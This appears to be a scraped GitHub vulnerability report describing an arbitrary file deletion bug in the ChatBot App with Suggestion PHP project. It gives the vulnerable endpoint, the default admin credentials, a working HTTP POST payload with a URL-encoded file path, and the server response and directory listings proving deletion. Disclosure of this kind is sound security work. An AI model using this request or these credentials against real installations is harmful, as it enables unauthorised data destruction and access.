

main

...

bug\_report / vendors / oretnom23 / chatbot-app-suggestion / delet-file-1.md



debug601 Create delet-file-1.md

History

1 contributor

46 lines (30 sloc) | 1.82 KB

...

# ChatBot App with Suggestion v1.0 by oretnom23 has Delete any file

vendors: <https://www.sourcecodester.com/php/15316/chatbot-app-suggestion-phpoop-free-source-code.html>

Vulnerability File: /simple\_chat\_bot/classes/Master.php?f=delete\_img

Vulnerability location: /simple\_chat\_bot/classes/Master.php?f=delete\_img, path

The password for the backend login account is: admin/admin123

Payload:

Here we delete the shell.php file in the root directory

```
POST /simple_chat_bot/classes/Master.php?f=delete_img HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/simple_chat_bot/admin/?page=system_info
```

Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 56

path=C%3A%2Fxampp%2Fhtdocs%2Fsimple\_chat\_bot%2Fshell.php



The file path needs to be encoded by url

---

C%3A%2Fxampp%2Fhtdocs%2Fsimple\_chat\_bot%2Fshell.php

---

UrlEncode编码

UrlDecode解码

清空输入框

复制加密后的网址

---

C:/xampp/htdocs/simple\_chat\_bot/shell.php|

Currently, when we do not send a request to delete the shell.php file, the shell.php file is still in the root directory of the website

本地磁盘 (C:) ▾ xampp ▾ htdocs ▾ simple\_chat\_bot ▾

共享 ▾ 新建文件夹

名称 ▴	修改日期	类型	大小
admin	2022/5/28 17:25	文件夹	
assets	2022/5/28 16:53	文件夹	
build	2022/5/28 16:53	文件夹	
classes	2022/5/28 16:53	文件夹	
database	2022/5/28 16:53	文件夹	
dist	2022/5/28 16:53	文件夹	
inc	2022/5/28 16:53	文件夹	
libs	2022/5/28 16:53	文件夹	
plugins	2022/5/28 16:53	文件夹	
uploads	2022/5/28 17:10	文件夹	
.htaccess	2021/3/19 13:17	HTACCESS 文件	1 KB
_index.html	2021/6/21 13:16	HTML 文档	16 KB
404.html	2021/3/19 13:17	HTML 文档	1 KB
about.php	2021/6/22 8:48	PHP 文件	1 KB
config.php	2022/5/4 9:42	PHP 文件	2 KB
home.php	2022/5/5 15:25	PHP 文件	7 KB
index.php	2022/5/5 9:00	PHP 文件	3 KB
initialize.php	2022/5/28 16:54	PHP 文件	1 KB
shell.php	2022/5/28 17:09	PHP 文件	0 KB

The response package shows that the deletion was successful. Let's go to the root directory to see if the shell.php file still exists.

Raw	Params	Headers	Hex
<p>POST /simple_chat_bot/classes/Master.php?f=delete_img HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.1.19/simple_chat_bot/admin/?page=system_info Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 56</p> <p>path=C%3A%2Fxampp%2Fhtdocs%2Fsimple_chat_bot%2Fshell.php</p>			

Raw	Headers	Hex
<p>HTTP/1.1 200 OK Date: Sat, 28 May 2022 09:09: Server: Apache/2.4.48 (Win64) X-Powered-By: PHP/8.0.7 Expires: Thu, 19 Nov 1981 08: Cache-Control: no-store, no-c Pragma: no-cache Access-Control-Allow-Origin: Content-Length: 20 Connection: close Content-Type: text/html; char</p> <p>{"status": "success"}</p>		

By this time, shell.php has been deleted.

本地磁盘 (C:) ▾ xampp ▾ htdocs ▾ simple\_chat\_bot ▾

共享 ▾ 新建文件夹

名称 ▲	修改日期	类型	大小
 admin	2022/5/28 17:25	文件夹	
 assets	2022/5/28 16:53	文件夹	
 build	2022/5/28 16:53	文件夹	
 classes	2022/5/28 16:53	文件夹	
 database	2022/5/28 16:53	文件夹	
 dist	2022/5/28 16:53	文件夹	
 inc	2022/5/28 16:53	文件夹	
 libs	2022/5/28 16:53	文件夹	
 plugins	2022/5/28 16:53	文件夹	
 uploads	2022/5/28 17:10	文件夹	
 .htaccess	2021/3/19 13:17	HTACCESS 文件	1 KB
 _index.html	2021/6/21 13:16	HTML 文档	16 KB
 404.html	2021/3/19 13:17	HTML 文档	1 KB
 about.php	2021/6/22 8:48	PHP 文件	1 KB
 config.php	2022/5/4 9:42	PHP 文件	2 KB
 home.php	2022/5/5 15:25	PHP 文件	7 KB
 index.php	2022/5/5 9:00	PHP 文件	3 KB
 initialize.php	2022/5/28 16:54	PHP 文件	1 KB